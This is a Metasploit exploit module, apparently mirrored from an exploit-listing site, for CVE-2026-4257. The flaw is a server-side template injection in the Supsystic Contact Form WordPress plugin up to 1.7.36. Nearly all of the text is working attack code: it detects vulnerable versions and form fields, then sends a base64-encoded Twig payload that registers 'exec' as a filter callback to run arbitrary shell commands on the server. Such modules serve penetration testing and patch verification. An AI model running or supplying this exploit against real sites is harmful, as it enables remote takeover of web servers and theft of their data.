Share
## https://sploitus.com/exploit?id=PACKETSTORM:221985
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Supsystic Contact Form Wordpress Plugin SSTI RCE',
            'Description' => %q{
              This module performs SSTI achieving RCE in webpages containing the
              Contact Form Wordpress plugin by Supsystic in versions 1.7.36 and
              before.
            },
            'Author' => [
              'Azril Fathoni', # Vulnerability Disclosure
              'bootstrapbool <bootstrapbool[at]gmail.com>', # Metasploit Module
            ],
            'License' => MSF_LICENSE,
            'Privileged' => false,
            'Targets' => [
              [
                'Unix/Linux Command Shell',
                {
                  'Platform' => ['unix', 'linux'],
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd
                }
              ],
              [
                'Windows Command Shell',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD,
                  'Type' => :win_cmd
                }
              ]
            ],
            'References' => [
              ['CVE', '2026-4257'],
              [
                'URL', # Python Exploit
                'https://github.com/bootstrapbool/cve-2026-4257'
              ],
            ],
            'DisclosureDate' => '2026-03-30',
            'DefaultTarget' => 0,
            'Notes' => {
              'Reliability' => [REPEATABLE_SESSION],
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
        register_options(
          [
            OptString.new('FIELD', [
              false,
              'Valid field used by the Contact Form plugin. Defaults are first_name, last_name, subject, message, and email. Only certain types of fields will work. See documentation (info) for more details.'
            ]),
            OptString.new('TARGETURI', [true, 'Filepath to the webpage containing the Contact Form. Ex: /wordpress/index.php/sample-page/']),
          ]
        )
      end
    
      def vulnerable?(version_str)
        return Rex::Version.new(version_str) <= Rex::Version.new('1.7.36')
      end
    
      def get_version(body)
        version_regex = /suptablesui\.min\.css\?ver=([0-9.]+)/
        match = version_regex.match(body)
    
        match ? match[1] : nil
      end
    
      def get_fields(html)
        pattern = /data-name="([^"]+)"/
    
        field_names = html.scan(pattern).flatten.uniq
    
        if field_names.any?
          print_good("Found fields: #{field_names.join(', ')}")
          return field_names
        else
          print_warning('Failed to find fields.')
          return nil
        end
      end
    
      def handle_field
        res = send_request_cgi({ 'uri' => normalize_uri(target_uri) })
    
        unless res
          fail_with(Failure::Unreachable, 'Failed to receive a reply from server.')
        end
    
        unless res.code == 200
          fail_with(Failure::UnexpectedReply, 'Unexpected reply from server.')
        end
    
        fields = get_fields(res.body)
    
        if !fields.nil?
          field = fields[0]
          print_status("Using detected field: #{field}")
          return field
        end
    
        if field.nil
          fail_with(Failure::NotFound, 'Failed to resolve target field')
        end
      end
    
      def send_payload(payload, field)
        b64 = Rex::Text.encode_base64(payload.raw)
    
        payload = '{%set a%}UTF-8{%endset%}{%set b%}BASE64{%endset%}' \
          + '{%set p%}' + b64 + '{%endset%}' \
          + '{%set p = p|convert_encoding((a), (b))%}' \
          + '{%set e%}exec{%endset%}' \
          + '{{_self.env.registerUndefinedFilterCallback(e|lower)}}' \
          + '{{_self.env.getFilter(p)}}'
    
        params = { 'cfsPreFill' => 1, field => payload }
    
        # Fold any query the user baked into TARGETURI (e.g. page_id=2) into vars_get to avoid having two "?" characters
        # denoting two separate query strings in the final URI, as one gets added from the TARGETURI and one from vars_get, which causes the payload to fail
        if target_uri.query && !target_uri.query.empty?
          target_uri.query.split('&').each do |pair|
            k, v = pair.split('=', 2)
            params[k] = v
          end
        end
    
        send_request_cgi({
          'uri' => normalize_uri(target_uri.path),
          'vars_get' => params
        })
      end
    
      def exploit
        if datastore['FIELD'].nil?
          field = handle_field
        else
          field = datastore['FIELD']
        end
    
        send_payload(payload, field)
      end
    
      def check
        res = send_request_cgi({ 'uri' => normalize_uri(target_uri) })
    
        return CheckCode::Unknown unless res.code == 200
    
        version_str = get_version(res.body)
    
        if version_str.nil?
          vprint_status('Failed to derive version')
          fields = get_fields(res.body)
          return CheckCode::Detected unless fields.nil?
        end
    
        if vulnerable?(version_str)
          return CheckCode::Appears("Detected version #{version_str}")
        end
    
        return CheckCode::Safe("Detected version #{version_str}")
      end
    end